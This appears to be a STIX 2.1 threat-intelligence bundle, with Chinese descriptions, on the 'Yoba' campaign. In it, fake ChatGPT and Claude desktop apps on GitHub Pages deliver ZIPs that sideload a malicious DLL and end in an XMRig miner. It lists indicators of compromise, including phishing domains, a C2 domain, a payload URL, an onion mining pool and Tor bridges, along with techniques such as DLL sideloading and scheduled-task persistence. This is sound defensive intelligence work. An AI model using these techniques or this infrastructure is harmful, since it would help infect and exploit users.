· SHA1（节选）：332e3b685e375aa44a5ec98511fc53be821df46a, c2b986704406d47dd88ee4e2fcffebc854ff2ce4, 17e8639a00bb32b10cb9cf0d292e9441456ce4bb, 20238b36645fc63139a76b19a480c6a9166472fa, 4ea5b71202b69fc27b06ef9ee3f6f51d6f7b8586
STIX详情：
{
"type": "bundle",
"id": "bundle--4ff2d832-9c58-4709-a8c7-f704251438d7",
"spec_version": "2.1",
"objects": [
{
"type": "campaign",
"spec_version": "2.1",
"id": "campaign--cd3109db-53dc-4f58-b59a-a87a033a057d",
"name": "Yoba",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "滥用人工智能工具如 ChatGPT 和 Claude 传播恶意软件链的攻击活动",
"x_evidence": "原文称：“we have been tracking a campaign that abuses the popularity of AI tools such as ChatGPT and Claude to spread a custom malware chain we call Yoba.”",
"x_confidence": 0.95
},
{
"type": "malware",
"spec_version": "2.1",
"id": "malware--f8b5c898-ef6e-4f8f-afde-fb9994a8ddfd",
"name": "Yoba",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "攻击活动中使用的自定义恶意软件链",
"x_evidence": "原文称：“a custom malware chain we call Yoba.”",
"x_confidence": 0.93
},
{
"type": "malware",
"spec_version": "2.1",
"id": "malware--4a6404f6-77fe-4f9b-97be-424958222990",
"name": "YobaDropper",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "恶意下载器组件，由 winmm.dll 承载",
"x_evidence": "原文称：“Inside the installers, there is a malicious component we refer to as the YobaDropper.”",
"x_confidence": 0.95
},
{
"type": "malware",
"spec_version": "2.1",
"id": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"name": "YobaLoader",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "负责联系攻击者控制的基础设施并获取最终有效载荷的加载器组件",
"x_evidence": "原文称：“This dropper includes another component, the YobaLoader, which is responsible for contacting attacker-controlled infrastructure and fetching the final payload.”",
"x_confidence": 0.95
},
{
"type": "malware",
"spec_version": "2.1",
"id": "malware--d59fd2ed-4014-4492-8108-5d01cb837676",
"name": "XMRig",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "最终加密货币挖矿木马载荷，版本 6.26.0",
"x_evidence": "原文称：“the injected payload into svchost.exe is an XMRig 6.26.0 miner with a hidden command line targeting a TLS-enabled onion mining endpoint.”",
"x_confidence": 0.97
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--29956b9e-1e41-4d97-a646-6b80ac4c4b40",
"name": "SEO poisoning",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "通过优化标题、描述和托管域，使恶意项目在外部搜索引擎中排名靠前",
"x_evidence": "原文称：“This is most likely due to SEO poisoning, where the attackers optimize titles, descriptions, and hosting domains to make their malicious projects rank highly in external search engines.”",
"x_confidence": 0.9
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--38f85c3d-abfd-48c6-a363-f22cac345baa",
"name": "DLL sideloading",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "通过合法签名可执行文件侧加载恶意 DLL 以绕过安全保护的间接加载技术",
"x_evidence": "原文称：“The malware is placed next to legitimate, signed executables from OpenAI and Anthropic so it can be loaded indirectly, a technique commonly known as DLL sideloading.”",
"x_confidence": 0.93
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--5e889b03-d58f-4b7b-98f6-cd2a407ff930",
"name": "gpt-5-6.github.io",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "假冒 ChatGPT 的 GitHub Pages 钓鱼页面",
"x_evidence": "原文称：“gpt-5-6.github[.]io pages were used to describe the capabilities of the software”；IOC 中列为假冒 ChatGPT 的钓鱼页面。",
"x_confidence": 0.93
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--bca77c21-2b78-4fb8-aea9-8f0cdb7f60f1",
"name": "gpt-6-astra.github.io",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "假冒 GPT-6 Astra 的 GitHub Pages 钓鱼页面",
"x_evidence": "原文称：“gpt-6-astra[.]github[.]io”；IOC 中列为假冒 GPT-6 Astra 的钓鱼页面。",
"x_confidence": 0.93
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--aa487018-a12d-4c56-9486-742475972f04",
"name": "opus-5-0.github.io",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "假冒 Claude Opus 的 GitHub Pages 钓鱼页面",
"x_evidence": "原文称：“opus-5-0[.]github[.]io”；IOC 中列为假冒 Claude Opus 的钓鱼页面。",
"x_confidence": 0.93
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--adbcc3b4-33f5-4c36-9f73-80b7b04ae122",
"name": "calm-piano-floats-313.dedyn.io",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaLoader 使用 DGA 生成的 C2 域名",
"x_evidence": "原文称：“dns[.]google/resolve?name=calm-piano-floats-313.dedyn[.]io&type=TXT”。",
"x_confidence": 0.92
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--238135b8-d913-4971-8ceb-9f04147f729b",
"name": "https://files.catbox.moe/z5zpy9.dat",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "加密载荷下载地址",
"x_evidence": "原文称：“Decrypted response: 1https://files.catbox[.]moe/z5zpy9.dat”。",
"x_confidence": 0.94
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--088f93f7-3eea-480b-b74a-7160ad9431ff",
"name": "3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad.onion",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "XMRig 连接的洋葱矿池地址，端口 443",
"x_evidence": "原文称：“Mining server: 3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad[.]onion:443”。",
"x_confidence": 0.94
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--1018a7f4-863c-4682-ba0c-5d5c9be35eb4",
"name": "51.89.231.85",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Tor 桥接节点地址，端口 24526",
"x_evidence": "原文称：“Tor bridge 1: obfs4 51.89.231[.]85:24526”。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--e3ea3a4c-a0df-4216-90f2-6cd953d3edaf",
"name": "51.89.228.250",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Tor 桥接节点地址，端口 21668",
"x_evidence": "原文称：“Tor bridge 2: obfs4 51.89.228[.]250:21668”。",
"x_confidence": 0.9
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--463506eb-1947-4e13-a907-4aa15da5fe74",
"name": "t.me/yoba_fanclub",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaLoader 访问的 Telegram 频道，用于获取 DGA 种子图片",
"x_evidence": "原文称：“It first decrypts multiple strings using a simple XOR operation, among these strings is the URL of a Telegram channel, t[.]me/yoba_fanclub.”",
"x_confidence": 0.91
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--fdc835da-e099-43a1-9b60-dfd5ecfc5fb2",
"name": "GPT-5.6 Sol",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "伪造的 AI 桌面应用名称，用于诱骗受害者下载恶意 ZIP",
"x_evidence": "原文称：“fake GitHub projects that pretend to be desktop applications like GPT-5.6 Sol”。",
"x_confidence": 0.86
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--0cf003f1-083d-444b-ad5c-605cdc067e5b",
"name": "GPT-6 Astra",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "伪造的 AI 桌面应用名称，用于诱骗受害者下载恶意 ZIP",
"x_evidence": "原文称：“fake GitHub projects that pretend to be desktop applications like GPT-6 Astra”。",
"x_confidence": 0.86
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--d4a1064f-0520-442b-8121-85718a648bc6",
"name": "Claude Opus",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "伪造的 AI 桌面应用名称，用于诱骗受害者下载恶意 ZIP",
"x_evidence": "原文称：“fake GitHub projects that pretend to be desktop applications like Claude Opus”。",
"x_confidence": 0.86
},
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--f0c01a00-d3dc-404a-9afa-1c4b9679ed04",
"name": "Yoba Operator",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 活动背后的未具名威胁运营者，具有俄语来源迹象并主要活动于 UTC-4 时区",
"x_evidence": "原文称：“The actor behind the campaign shows indicators that suggest Russian origins and appears to operate primarily in the UTC-4 time zone.”",
"x_confidence": 0.75
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"first_observed": "2026-10-28T04:37:04Z",
"last_observed": "2026-10-28T04:37:04Z",
"number_observed": 1,
"objects": {
"0": {
"type": "file",
"name": "sol-setup.zip",
"description": "伪装为 ChatGPT 应用的恶意 ZIP 安装包，对应 SHA1 332e3b685e375aa44a5ec98511fc53be821df46a",
"aliases": [],
"evidence": "原文称：“Uploaded sol-setup.zip”；IOC 中给出恶意安装包 ZIP 哈希 332e3b685e375aa44a5ec98511fc53be821df46a。",
"confidence": 0.94
},
"1": {
"type": "file",
"name": "GPT-6-Astra-Setup.zip",
"description": "伪装为 GPT-6 Astra 应用的恶意 ZIP 安装包，对应 SHA1 c2b986704406d47dd88ee4e2fcffebc854ff2ce4",
"aliases": [],
"evidence": "原文称：“Uploaded GPT-6-Astra-Setup.zip”；IOC 中给出恶意安装包 ZIP 哈希 c2b986704406d47dd88ee4e2fcffebc854ff2ce4。",
"confidence": 0.94
},
"2": {
"type": "file",
"name": "Setup-Claude.zip",
"description": "伪装为 Claude Opus 应用的恶意 ZIP 压缩包",
"aliases": [],
"evidence": "原文称：“opus-5-0 uploaded Setup-Claude.zip”。",
"confidence": 0.93
},
"3": {
"type": "file",
"name": "winmm.dll",
"description": "恶意 DLL 文件，是 YobaDropper 的载体，伪装合法 winmm.dll",
"aliases": [],
"evidence": "原文称：“The file that immediately stands out is winmm.dll, which was compiled the same day it was added to the ZIP archive. This suggests it is the component with the malicious functionality.”",
"confidence": 0.96
},
"4": {
"type": "file",
"name": "Setup.exe",
"description": "合法的 OpenAI 或 Anthropic 签名可执行文件，用于侧加载恶意 winmm.dll",
"aliases": [],
"evidence": "原文称：“Setup.exe, a legitimate signed OpenAI executable, is used during execution to sideload the malicious DLL.”",
"confidence": 0.96
},
"5": {
"type": "file",
"name": "WMPDMC.exe",
"description": "合法的系统可执行文件，被复制到 WMProcess 目录并用于侧加载恶意负载",
"aliases": [],
"evidence": "原文称：“It creates a directory under ProgramData named WMProcess. Then it copies the original WMPDMC.exe from System32 into this newly created folder.”",
"confidence": 0.95
},
"6": {
"type": "file",
"name": "wmpdui.dll",
"description": "解密后落地在系统中的恶意负载文件，是 YobaLoader 的 DLL 载体",
"aliases": [],
"evidence": "原文称：“Next, it decrypts the embedded payload using the string IRANNUMBERONE as the XOR seed and drops the decrypted payload in the same folder under the name wmpdui.dll.”",
"confidence": 0.95
},
"7": {
"type": "process",
"name": "svchost.exe",
"description": "被 YobaLoader 注入 XMRig 挖矿载荷的进程",
"aliases": [],
"evidence": "原文称：“Injects the downloaded payload into svchost.exe”；“the injected payload into svchost.exe is an XMRig 6.26.0 miner”。",
"confidence": 0.95
},
"8": {
"type": "process",
"name": "Cursor.exe",
"description": "早期 YobaDropper 变体侧加载所使用的进程名",
"aliases": [],
"evidence": "原文称：“Earlier YobaDropper observed in the wild appeared in early June 2026. In this campaign, the dropper was sideloaded by a process named Cursor.exe.”",
"confidence": 0.85
}
}
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b26488d0-c405-49aa-800e-bd6e2db3937d",
"relationship_type": "attributed-to",
"source_ref": "campaign--cd3109db-53dc-4f58-b59a-a87a033a057d",
"target_ref": "intrusion-set--f0c01a00-d3dc-404a-9afa-1c4b9679ed04",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 活动归属于其背后的未具名运营者",
"x_evidence": "原文称：“The actor behind the campaign shows indicators that suggest Russian origins and appears to operate primarily in the UTC-4 time zone.”",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--58c8abde-b1b9-46aa-a8d2-cbcc396c4035",
"relationship_type": "uses",
"source_ref": "campaign--cd3109db-53dc-4f58-b59a-a87a033a057d",
"target_ref": "attack-pattern--29956b9e-1e41-4d97-a646-6b80ac4c4b40",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 活动使用 SEO poisoning 提升恶意页面排名",
"x_evidence": "原文称：“This is most likely due to SEO poisoning。”",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f92646be-9b73-422f-8ca6-c813307266b5",
"relationship_type": "uses",
"source_ref": "campaign--cd3109db-53dc-4f58-b59a-a87a033a057d",
"target_ref": "attack-pattern--38f85c3d-abfd-48c6-a363-f22cac345baa",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 活动使用 DLL sideloading 绕过安全防护",
"x_evidence": "原文称：“a technique commonly known as DLL sideloading, which is often used to bypass security protections.”",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1cb047d1-0c9a-4a2b-998b-a1a7c863387d",
"relationship_type": "uses",
"source_ref": "campaign--cd3109db-53dc-4f58-b59a-a87a033a057d",
"target_ref": "malware--f8b5c898-ef6e-4f8f-afde-fb9994a8ddfd",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 活动传播自定义恶意软件链",
"x_evidence": "原文称：“spread a custom malware chain we call Yoba。”",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--a585bc81-dee3-4d50-a0b3-54c81faefcc0",
"relationship_type": "uses",
"source_ref": "campaign--cd3109db-53dc-4f58-b59a-a87a033a057d",
"target_ref": "malware--4a6404f6-77fe-4f9b-97be-424958222990",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 活动使用 YobaDropper 下载器组件",
"x_evidence": "原文称：“Inside the installers, there is a malicious component we refer to as the YobaDropper.”",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--0b42c105-60ee-4d0c-9b05-9c3af5d0c3e9",
"relationship_type": "uses",
"source_ref": "campaign--cd3109db-53dc-4f58-b59a-a87a033a057d",
"target_ref": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 活动使用 YobaLoader 加载器组件",
"x_evidence": "原文称：“This dropper includes another component, the YobaLoader。”",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f873a03f-74fe-44f6-a744-9a420b550534",
"relationship_type": "uses",
"source_ref": "campaign--cd3109db-53dc-4f58-b59a-a87a033a057d",
"target_ref": "malware--d59fd2ed-4014-4492-8108-5d01cb837676",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 活动最终投放 XMRig 挖矿木马",
"x_evidence": "原文称：“Although we observed an XMRig cryptominer as the final payload in this campaign。”",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--63b5b226-aca2-4e29-8a1e-5a4ddec10e1e",
"relationship_type": "uses",
"source_ref": "intrusion-set--f0c01a00-d3dc-404a-9afa-1c4b9679ed04",
"target_ref": "tool--fdc835da-e099-43a1-9b60-dfd5ecfc5fb2",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "运营者使用伪造的 GPT-5.6 Sol 应用作为诱饵",
"x_evidence": "原文称：“attackers use fake GitHub projects that pretend to be AI desktop applications like GPT-5.6 Sol。”",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6e304e20-7891-4649-b9d3-80ed407216e0",
"relationship_type": "uses",
"source_ref": "intrusion-set--f0c01a00-d3dc-404a-9afa-1c4b9679ed04",
"target_ref": "tool--0cf003f1-083d-444b-ad5c-605cdc067e5b",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "运营者使用伪造的 GPT-6 Astra 应用作为诱饵",
"x_evidence": "原文称：“attackers use fake GitHub projects that pretend to be AI desktop applications like GPT-6 Astra。”",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f1394ed1-8577-4d80-b588-455cc6fbae5d",
"relationship_type": "uses",
"source_ref": "intrusion-set--f0c01a00-d3dc-404a-9afa-1c4b9679ed04",
"target_ref": "tool--d4a1064f-0520-442b-8121-85718a648bc6",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "运营者使用伪造的 Claude Opus 应用作为诱饵",
"x_evidence": "原文称：“attackers use fake GitHub projects that pretend to be AI desktop applications like Claude Opus。”",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--16cca295-dbe9-47a8-b8ac-cb9e3c5369c5",
"relationship_type": "hosts",
"source_ref": "domain-name--5e889b03-d58f-4b7b-98f6-cd2a407ff930",
"target_ref": "tool--fdc835da-e099-43a1-9b60-dfd5ecfc5fb2",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "gpt-5-6.github.io 页面承载伪造 GPT-5.6 Sol 应用宣传内容",
"x_evidence": "原文称：“GitHub.io pages were used to describe the capabilities of the software”；“These phishing landing pages contain download links that point directly to the malicious ZIP releases。”",
"x_confidence": 0.88
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c881d847-b8da-4832-85bc-818ac2ba99c3",
"relationship_type": "hosts",
"source_ref": "domain-name--bca77c21-2b78-4fb8-aea9-8f0cdb7f60f1",
"target_ref": "tool--0cf003f1-083d-444b-ad5c-605cdc067e5b",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "gpt-6-astra.github.io 页面承载伪造 GPT-6 Astra 应用宣传内容",
"x_evidence": "原文称：“GitHub.io pages were used to describe the capabilities of the software”；“These phishing landing pages contain download links that point directly to the malicious ZIP releases。”",
"x_confidence": 0.88
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--25a6b8eb-ab96-4a13-b890-22d35cd391f0",
"relationship_type": "hosts",
"source_ref": "domain-name--aa487018-a12d-4c56-9486-742475972f04",
"target_ref": "tool--d4a1064f-0520-442b-8121-85718a648bc6",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "opus-5-0.github.io 页面承载伪造 Claude Opus 应用宣传内容",
"x_evidence": "原文称：“GitHub.io pages were used to describe the capabilities of the software”；“These phishing landing pages contain download links that point directly to the malicious ZIP releases。”",
"x_confidence": 0.88
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--de78d8a8-8396-4bca-b787-16bfd1878789",
"relationship_type": "delivers",
"source_ref": "domain-name--5e889b03-d58f-4b7b-98f6-cd2a407ff930",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "钓鱼页面 gpt-5-6.github.io 链接到恶意 ZIP 安装包 sol-setup.zip",
"x_evidence": "原文称：“These phishing landing pages contain download links that point directly to the malicious ZIP releases hosted on GitHub”；“Uploaded sol-setup.zip”。",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--891c3574-eef1-4ac0-b9f0-a945ec1a12b2",
"relationship_type": "delivers",
"source_ref": "domain-name--bca77c21-2b78-4fb8-aea9-8f0cdb7f60f1",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "钓鱼页面 gpt-6-astra.github.io 链接到恶意 ZIP 安装包 GPT-6-Astra-Setup.zip",
"x_evidence": "原文称：“These phishing landing pages contain download links that point directly to the malicious ZIP releases hosted on GitHub”；“Uploaded GPT-6-Astra-Setup.zip”。",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--69c025bb-0555-4136-8052-6ec52bf57acb",
"relationship_type": "delivers",
"source_ref": "domain-name--aa487018-a12d-4c56-9486-742475972f04",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "钓鱼页面 opus-5-0.github.io 链接到恶意 ZIP 安装包 Setup-Claude.zip",
"x_evidence": "原文称：“These phishing landing pages contain download links that point directly to the malicious ZIP releases hosted on GitHub”；“uploaded Setup-Claude.zip”。",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--a6aea005-f80f-4191-8cd8-50efbb2f7577",
"relationship_type": "consists-of",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "sol-setup.zip 包含合法签名的 Setup.exe",
"x_evidence": "原文称：“Setup.exe, a legitimate signed OpenAI executable, is used during execution to sideload the malicious DLL。”",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b5175676-cfec-4c08-bfcd-50116142d0ba",
"relationship_type": "consists-of",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "sol-setup.zip 包含恶意 winmm.dll",
"x_evidence": "原文称：“The file that immediately stands out is winmm.dll ... suggests it is the component with the malicious functionality。”",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--fc26e74c-3e7a-490d-a05f-93599a633a35",
"relationship_type": "consists-of",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "GPT-6-Astra-Setup.zip 包含合法签名的 Setup.exe",
"x_evidence": "原文表格显示 GPT-6-Astra-Setup.zip 中存在 Setup.exe。",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6021bedb-05dd-46e5-b4a3-39b56943ddb2",
"relationship_type": "consists-of",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "GPT-6-Astra-Setup.zip 包含恶意 winmm.dll",
"x_evidence": "原文表格显示 GPT-6-Astra-Setup.zip 中存在 winmm.dll。",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--4c4023ce-87b3-458e-8c9a-50803e5d8339",
"relationship_type": "consists-of",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Setup-Claude.zip 包含合法签名的 Setup.exe",
"x_evidence": "原文称：“The Setup-Claude.zip file contains the same structure, though in this case Setup.exe is a legitimate signed Claude executable。”",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6b08500e-a67a-4936-b380-6bb1dabc5319",
"relationship_type": "consists-of",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Setup-Claude.zip 包含恶意 winmm.dll",
"x_evidence": "原文称：“The Setup-Claude.zip file contains the same structure”；上下文中恶意组件为 winmm.dll。",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--72856f7b-13d2-4f5b-aee6-37a221d2238e",
"relationship_type": "executes",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Setup.exe 侧加载恶意 winmm.dll，触发 YobaDropper",
"x_evidence": "原文称：“Setup.exe, a legitimate signed OpenAI executable, is used during execution to sideload the malicious DLL。”",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d2b2a668-3b68-46a0-a130-af5bab91d1f8",
"relationship_type": "uses",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "attack-pattern--38f85c3d-abfd-48c6-a363-f22cac345baa",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Setup.exe 利用 DLL sideloading 加载恶意 DLL",
"x_evidence": "原文称：“Setup.exe ... sideload the malicious DLL。”",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c6772d69-1733-4365-a5b9-9868494b548f",
"relationship_type": "consists-of",
"source_ref": "malware--f8b5c898-ef6e-4f8f-afde-fb9994a8ddfd",
"target_ref": "malware--4a6404f6-77fe-4f9b-97be-424958222990",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 恶意软件链包含 YobaDropper 组件",
"x_evidence": "原文称：“Inside the installers, there is a malicious component we refer to as the YobaDropper。”",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--115ed812-8d98-4d01-8607-e7fb8cdc5601",
"relationship_type": "consists-of",
"source_ref": "malware--f8b5c898-ef6e-4f8f-afde-fb9994a8ddfd",
"target_ref": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "Yoba 恶意软件链包含 YobaLoader 组件",
"x_evidence": "原文称：“This dropper includes another component, the YobaLoader。”",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--60772c41-1b97-4be1-b137-00d6161f3120",
"relationship_type": "uses",
"source_ref": "malware--4a6404f6-77fe-4f9b-97be-424958222990",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaDropper 恶意代码由 winmm.dll 文件承载",
"x_evidence": "原文称：“The file that immediately stands out is winmm.dll ... suggests it is the component with the malicious functionality。”",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--af59f489-93d8-4a31-b3b0-097995982777",
"relationship_type": "drops",
"source_ref": "malware--4a6404f6-77fe-4f9b-97be-424958222990",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaDropper 复制合法 WMPDMC.exe 用于后续加载",
"x_evidence": "原文称：“Then it copies the original WMPDMC.exe from System32 into this newly created folder。”",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ee91c46c-aca1-4d80-8c23-74df59d971b6",
"relationship_type": "drops",
"source_ref": "malware--4a6404f6-77fe-4f9b-97be-424958222990",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaDropper 解密并落地 wmpdui.dll",
"x_evidence": "原文称：“it decrypts the embedded payload ... and drops the decrypted payload in the same folder under the name wmpdui.dll。”",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d307d949-df7d-45d2-9693-990ac9ba1319",
"relationship_type": "executes",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "WMPDMC.exe 侧加载 wmpdui.dll",
"x_evidence": "原文称：“Using scheduled tasks, the dropper maintains persistence by leveraging the legitimate executable, which will sideload the malicious payload。”",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
